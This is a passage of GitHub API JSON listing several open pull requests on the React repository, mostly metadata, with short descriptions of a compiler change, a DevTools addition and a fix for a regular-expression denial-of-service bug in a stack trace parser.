"head": { "label": "eps1lon:sebbie/01-23-_flight_iterative_version_of_visitasyncnode", "ref": "sebbie/01-23-_flight_iterative_version_of_visitasyncnode", "sha": "7ef32cbfe644f32f32470d843325f724ce546a5e", "user": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 152847300, "node_id": "MDEwOlJlcG9zaXRvcnkxNTI4NDczMDA=", "name": "react", "full_name": "eps1lon/react", "private": false, "owner": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "A declarative, efficient, and flexible JavaScript library for building user interfaces.", "fork": true, "url": "https://api.github.com/repos/eps1lon/react", "created_at": "2018-10-13T07:33:29Z", "updated_at": "2026-03-04T13:22:13Z", "pushed_at": "2026-03-09T22:19:07Z", "homepage": "https://reactjs.org", "size": 135655, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": true, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": false, "forks_count": 1, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 1, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "94913cbffeff60c862ef818ca62cdc329dc2fd57", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35611" }, "html": { "href": "https://github.com/facebook/react/pull/35611" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35611" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35611/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35611/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35611/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/7ef32cbfe644f32f32470d843325f724ce546a5e" } }, "author_association": "COLLABORATOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35609", "id": 3202952981, "node_id": "PR_kwDOAJy2Ks6-6S8V", "number": 35609, "state": "open", "locked": false, "title": "Fix ReDoS vulnerability in Firefox stack trace parser (#35490)", "user": { "login": "aarushdubey", "id": 181550682, "node_id": "U_kgDOCtI-Wg", "avatar_url": "https://avatars.githubusercontent.com/u/181550682?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aarushdubey", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\nFixes #35490 - Inefficient Regular Expression Complexity in React DevTools\r\n\r\n## Changes\r\n- Replaced vulnerable regex pattern in Firefox stack trace parser with secure alternative\r\n- - Changed `(?:.*\".+\")?[^@]*` to `(?:\"[^\"]+\")?[^@]*`\r\n- - Uses negated character class instead of nested quantifiers to prevent catastrophic backtracking\r\n- - Added regression test to prevent future ReDoS vulnerabilities\r\n## Performance Impact\r\n- **Before:** Malicious input causes 2500+ ms freeze\r\n- - **After:** Same input completes in < 1ms\r\n- - Maintains identical matching behavior for valid stack traces\r\n## Testing\r\n- All existing tests pass (133/133)\r\n- - Added regression test with proof-of-concept malicious input\r\n- - Test ensures parsing completes in < 100ms\r\n## Reference\r\n- Based on analysis from Issue #35490 - Similar pattern to PR #35509", "created_at": "2026-01-23T11:27:52Z", "updated_at": "2026-01-23T12:09:16Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "0fc32984afd8cf247d86694e57fbb42bcea06f54", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "aarushdubey:fix/redos-vulnerability-35490", "ref": "fix/redos-vulnerability-35490", "sha": "ee2e8583b0dfd89da0a5d491d89a3f25967e2a64", "user": { "login": "aarushdubey", "id": 181550682, "node_id": "U_kgDOCtI-Wg", "avatar_url": "https://avatars.githubusercontent.com/u/181550682?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aarushdubey", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1140433545, "node_id": "R_kgDOQ_miiQ", "name": "react", "full_name": "aarushdubey/react", "private": false, "owner": { "login": "aarushdubey", "id": 181550682, "node_id": "U_kgDOCtI-Wg", "avatar_url": "https://avatars.githubusercontent.com/u/181550682?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aarushdubey", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/aarushdubey/react", "created_at": "2026-01-23T09:17:36Z", "updated_at": "2026-01-23T09:17:36Z", "pushed_at": "2026-01-23T11:26:08Z", "homepage": "https://react.dev", "size": 124429, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "94913cbffeff60c862ef818ca62cdc329dc2fd57", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35609" }, "html": { "href": "https://github.com/facebook/react/pull/35609" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35609" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35609/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35609/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35609/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/ee2e8583b0dfd89da0a5d491d89a3f25967e2a64" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 35490 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35608", "id": 3202558066, "node_id": "PR_kwDOAJy2Ks6-4yhy", "number": 35608, "state": "open", "locked": false, "title": "docs(reconciler): document removal of flushSync and migration path", "user": { "login": "whoistausif", "id": 127775175, "node_id": "U_kgDOB52xxw", "avatar_url": "https://avatars.githubusercontent.com/u/127775175?v=4", "gravatar_id": "", "url": "https://api.github.com/users/whoistausif", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-23T09:21:22Z", "updated_at": "2026-01-23T09:21:28Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "174e2df70c9d886eba89ab353cee19ffc2486288", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": {}, "milestone": null, "draft": false, "head": { "label": "whoistausif:fix-flushsync-deprecation", "ref": "fix-flushsync-deprecation", "sha": "f28f8af65d1a25ef2548c0fa65dfaac22ffd9d97", "user": { "login": "whoistausif", "id": 127775175, "node_id": "U_kgDOB52xxw", "avatar_url": "https://avatars.githubusercontent.com/u/127775175?v=4", "gravatar_id": "", "url": "https://api.github.com/users/whoistausif", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1140421696, "node_id": "R_kgDOQ_l0QA", "name": "react", "full_name": "whoistausif/react", "private": false, "owner": { "login": "whoistausif", "id": 127775175, "node_id": "U_kgDOB52xxw", "avatar_url": "https://avatars.githubusercontent.com/u/127775175?v=4", "gravatar_id": "", "url": "https://api.github.com/users/whoistausif", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/whoistausif/react", "created_at": "2026-01-23T08:57:55Z", "updated_at": "2026-02-03T16:05:01Z", "pushed_at": "2026-01-23T09:19:27Z", "homepage": "https://react.dev", "size": 124422, "stargazers_count": 1, "watchers_count": 1, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 1, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "2d8e7f1ce358e8cddc3aae862007269b6bac04ba", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35608" }, "html": { "href": "https://github.com/facebook/react/pull/35608" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35608" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35608/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35608/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35608/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/f28f8af65d1a25ef2548c0fa65dfaac22ffd9d97" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35607", "id": 3201496508, "node_id": "PR_kwDOAJy2Ks6-0vW8", "number": 35607, "state": "open", "locked": false, "title": "[compiler][wip] Support `finally` clauses", "user": { "login": "josephsavona", "id": 6425824, "node_id": "MDQ6VXNlcjY0MjU4MjQ=", "avatar_url": "https://avatars.githubusercontent.com/u/6425824?v=4", "gravatar_id": "", "url": "https://api.github.com/users/josephsavona", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\nFirst pass at adding support for `finally` clauses. I took a simple approach where we reify the JS semantics around return shadowing in the HIR and output. Ie, we create a temporary variable that will be the return value, and change returns in the try/catch to assign to that value and then break to the finalizer. In the finalizer returns work as normal, but we put a final extra \"if temporary set, return it\" statement. It would be more ideal to fully restore the return shadowing, but given that finally clauses are relatively rare this seems like a reasonable compromise.\n\nI need to do more analysis to make sure the approach is correct.\n\n---\n[//]: # (BEGIN SAPLING FOOTER)\nStack created with [Sapling](https://sapling-scm.com). Best reviewed with [ReviewStack](https://reviewstack.dev/facebook/react/pull/35607).\n* __->__ #35607\n* #35298\n* #35596\n* #35573\n* #35595\n* #35539", "created_at": "2026-01-23T00:59:48Z", "updated_at": "2026-01-23T19:08:03Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "milestone": null, "draft": false, "head": { "label": "facebook:pr35607", "ref": "pr35607", "sha": "2f65d3d545641841ba481331d4b2306cd592e7d4", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "006ae379727ebceb82d03929222a71104d01135f", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35607" }, "html": { "href": "https://github.com/facebook/react/pull/35607" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35607" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35607/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35607/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35607/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/2f65d3d545641841ba481331d4b2306cd592e7d4" } }, "author_association": "MEMBER", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35601", "id": 3200172572, "node_id": "PR_kwDOAJy2Ks6-vsIc", "number": 35601, "state": "open", "locked": false, "title": "[Devtools] add selectNodeWithViewData to agent", "user": { "login": "sbuggay", "id": 2207110, "node_id": "MDQ6VXNlcjIyMDcxMTA=", "avatar_url": "https://avatars.githubusercontent.com/u/2207110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sbuggay", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\nselectNode does not send any additional view data when an element is selected in the inspector. This change adds `selectNodeWithViewData` which let's React Native DevTools understand more about the view and it's component hierarchy. \r\n\r\n## How did you test this change?\r\n\r\nTested in an E2E flow that leverages `selectNodeWithViewData` in order to send view data to RNDT.\r\n", "created_at": "2026-01-22T17:04:37Z", "updated_at": "2026-01-22T17:13:29Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "a315049b0d219c5a44a53c0d45fcb66d5e6dfd6a", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "sbuggay:livemate-agent", "ref": "livemate-agent", "sha": "76f500d3b74cc5192da97525533c3d3fabf48165", "user": { "login": "sbuggay", "id": 2207110, "node_id": "MDQ6VXNlcjIyMDcxMTA=", "avatar_url": "https://avatars.githubusercontent.com/u/2207110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sbuggay", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1108700795, "node_id": "R_kgDOQhVuew", "name": "react", "full_name": "sbuggay/react", "private": false, "owner": { "login": "sbuggay", "id": 2207110, "node_id": "MDQ6VXNlcjIyMDcxMTA=", "avatar_url": "https://avatars.githubusercontent.com/u/2207110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sbuggay", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/sbuggay/react", "created_at": "2025-12-02T19:55:03Z", "updated_at": "2025-12-07T19:16:45Z", "pushed_at": "2026-01-22T17:13:28Z", "homepage": "https://react.dev", "size": 124434, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "6a0ab4d2dd62dfdf8881ba1c3443c6d5acedc871", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35601" }, "html": { "href": "https://github.com/facebook/react/pull/35601" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35601" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35601/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35601/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35601/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/76f500d3b74cc5192da97525533c3d3fabf48165" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35597", "id": 3197424048, "node_id": "PR_kwDOAJy2Ks6-lNGw", "number": 35597, "state": "open", "locked": false, "title": "Fix bug: validate before to prevent ", "user": { "login": "harshilparekh874", "id": 202479336, "node_id": "U_kgDODBGW6A", "avatar_url": "https://avatars.githubusercontent.com/u/202479336?v=4", "gravatar_id": "", "url": "https://api.github.com/users/harshilparekh874", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Refactor mutation diagnostics for better clarity and specificity. Introduce checks for prior hoisted accesses and provide more detailed error messages.\r\n\r\n\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-22T01:00:05Z", "updated_at": "2026-01-22T02:25:27Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "e7a70ecfd92d2b56eeaf26fefa8e18b33beb18da", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "harshilparekh874:patch-1", "ref": "patch-1", "sha": "a6acf10959833854d20e476d9e296a793b238ffd", "user": { "login": "harshilparekh874", "id": 202479336, "node_id": "U_kgDODBGW6A", "avatar_url": "https://avatars.githubusercontent.com/u/202479336?v=4", "gravatar_id": "", "url": "https://api.github.com/users/harshilparekh874", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1139442240, "node_id": "R_kgDOQ-qCQA", "name": "react", "full_name": "harshilparekh874/react", "private": false, "owner": { "login": "harshilparekh874", "id": 202479336, "node_id": "U_kgDODBGW6A", "avatar_url": "https://avatars.githubusercontent.com/u/202479336?v=4", "gravatar_id": "", "url": "https://api.github.com/users/harshilparekh874", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/harshilparekh874/react", "created_at": "2026-01-22T00:54:18Z", "updated_at": "2026-01-22T00:54:18Z", "pushed_at": "2026-01-22T00:58:14Z", "homepage": "https://react.dev", "size": 896610, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "03ee29da2f3a7dcd1a7a22ed9b4d13eeceb9da57", "user": { "login": "facebook", "id": 